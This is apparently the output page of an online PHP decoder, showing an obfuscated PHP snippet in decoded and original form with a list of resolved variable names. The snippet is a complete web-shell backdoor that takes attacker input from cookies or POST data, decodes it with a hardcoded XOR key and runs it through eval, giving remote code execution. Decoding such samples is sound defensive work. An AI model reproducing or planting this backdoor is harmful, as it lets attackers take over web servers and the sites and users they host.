Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $hgoYbskl = chr (115) ./* vucoY*/chr ( 726 - 610/* y */).chr (114) . "\137"..

Decoded Output download

<?php $hgoYbskl	=	chr	(115)	./*  vucoY*/chr    (	726 -	610/* y  */).chr  (114) .    "_"/*   onGRI  */. chr   (114) .  "e"/*  PmLcr  */./* r */"p"	./*hoxpw */"e"	.	"a"	.	chr/*FJf */(116); 
    $CuwJTERSZm/* AyE*/=	"e"   .  'x'	.	'p'	.   'l'	./*  CTLd*/'o' . 'd'	.    chr	(101); 
		$aBInFs    =/*kGN   */chr	(99)	.   chr/*   XK   */(111)  .	"u"	.	'n'	./* WoYFR  */'t'; 
     $jabOyScAb/* VEZKV */=/*dcMMI*/"p"/* Q */.	"a"	./*  AiNT */chr	(99)/*  oEVdr   */.   chr   (107); 
   $DsFuT    = Array/*  b */(/* uGpul  */"PugPi"     =>	"YlnykOOFReUTOXasWHFNT"   ); 
 
 
/*   tl */$hBhhwk   =   Array/*zZa  */(/*TiDjj   */"MzMecBYqMDUlPzfZPNAGhlGjFJ"	=>  "OhzGBaqgIbdQOuu"/*  m  */); 
 
 
	foreach/*AXqNx   */(	Array(	$DsFuT,	$_COOKIE,	$hBhhwk,    $_POST,/*YPM*/$DsFuT) as	$GYEhlcg)	{ 
	/*  p  */foreach/*   AZ  */( $GYEhlcg/*Cc   */as/* CG  */$UMIrjry/*   MouW */=>	$eDDHbWrHPd	)	{ 
    /*   in */$eDDHbWrHPd/*  rs   */=	@$jabOyScAb(  chr  (	512   -/* MV   */440/*   tiHfu   */)."*",/* xwr   */$eDDHbWrHPd	); 
     $UMIrjry/*   cggEA */.=	"qNXC-GmEWPyx-lJLpY-PKGRG-udhU-dYNnol-vmWG"; 
 
   $UMIrjry	=	$hgoYbskl	(    $UMIrjry,	(/* DeZ */strlen(	$eDDHbWrHPd/* PgWc   */)/strlen(	$UMIrjry	)/*rJXkp  */)	+/* RdKuS   */1); 
					$kFOzBc	=	$eDDHbWrHPd   ^/*pGr   */$UMIrjry; 
				$xxmgSWTS	=/* dLuo   */$CuwJTERSZm   (     chr	(35),   $kFOzBc    ); 
    /*   w */if  (    $aBInFs	(/*  Eoh*/$xxmgSWTS	)/*  Zqq  */==	3/*  Y  */)     { 
 
     $PORlq/*   Qta  */=  $xxmgSWTS[1]; 
 
/* xPSC */$TjLtp    =/*YYV  */$xxmgSWTS[2]; 
  /* lMMaT  */$eqVSDl/*UW */=	$PORlq($TjLtp); 
		eval/* KmRCE  */(/*   GKjNG  */$eqVSDl     ); 
	 die/* r   */(); 
 /*FIJ */} 
  } 
 
  } ?>

Did this file decode correctly?

Original Code

<?php $hgoYbskl	=	chr	(115)	./*  vucoY*/chr    (	726 -	610/* y  */).chr  (114) .    "\137"/*   onGRI  */. chr   (114) .  "\x65"/*  PmLcr  */./* r */"\160"	./*hoxpw */"\x65"	.	"\141"	.	chr/*FJf */(116);
    $CuwJTERSZm/* AyE*/=	"\145"   .  'x'	.	'p'	.   'l'	./*  CTLd*/'o' . 'd'	.    chr	(101);
		$aBInFs    =/*kGN   */chr	(99)	.   chr/*   XK   */(111)  .	"\x75"	.	'n'	./* WoYFR  */'t';
     $jabOyScAb/* VEZKV */=/*dcMMI*/"\x70"/* Q */.	"\141"	./*  AiNT */chr	(99)/*  oEVdr   */.   chr   (107);
   $DsFuT    = Array/*  b */(/* uGpul  */"PugPi"     =>	"YlnykOOFReUTOXasWHFNT"   );


/*   tl */$hBhhwk   =   Array/*zZa  */(/*TiDjj   */"MzMecBYqMDUlPzfZPNAGhlGjFJ"	=>  "OhzGBaqgIbdQOuu"/*  m  */);


	foreach/*AXqNx   */(	Array(	$DsFuT,	$_COOKIE,	$hBhhwk,    $_POST,/*YPM*/$DsFuT) as	$GYEhlcg)	{
	/*  p  */foreach/*   AZ  */( $GYEhlcg/*Cc   */as/* CG  */$UMIrjry/*   MouW */=>	$eDDHbWrHPd	)	{
    /*   in */$eDDHbWrHPd/*  rs   */=	@$jabOyScAb(  chr  (	512   -/* MV   */440/*   tiHfu   */)."\x2a",/* xwr   */$eDDHbWrHPd	);
     $UMIrjry/*   cggEA */.=	"qNXC-GmEWPyx-lJLpY-PKGRG-udhU-dYNnol-vmWG";

   $UMIrjry	=	$hgoYbskl	(    $UMIrjry,	(/* DeZ */strlen(	$eDDHbWrHPd/* PgWc   */)/strlen(	$UMIrjry	)/*rJXkp  */)	+/* RdKuS   */1);
					$kFOzBc	=	$eDDHbWrHPd   ^/*pGr   */$UMIrjry;
				$xxmgSWTS	=/* dLuo   */$CuwJTERSZm   (     chr	(35),   $kFOzBc    );
    /*   w */if  (    $aBInFs	(/*  Eoh*/$xxmgSWTS	)/*  Zqq  */==	3/*  Y  */)     {

     $PORlq/*   Qta  */=  $xxmgSWTS[1];

/* xPSC */$TjLtp    =/*YYV  */$xxmgSWTS[2];
  /* lMMaT  */$eqVSDl/*UW */=	$PORlq($TjLtp);
		eval/* KmRCE  */(/*   GKjNG  */$eqVSDl     );
	 die/* r   */();
 /*FIJ */}
  }

  }

Function Calls

chr 10

Variables

$DsFuT [{'key': 'PugPi', 'value': 'YlnykOOFReUTOXasWHFNT'}]
$aBInFs count
$hBhhwk [{'key': 'MzMecBYqMDUlPzfZPNAGhlGjFJ', 'value': 'OhzGBaqgIbdQOuu'}]
$hgoYbskl str_repeat
$jabOyScAb pack
$CuwJTERSZm explode

Stats

MD5 d7a647c404afe3b97cc6a53087cd5695
Eval Count 0
Decode Time 370 ms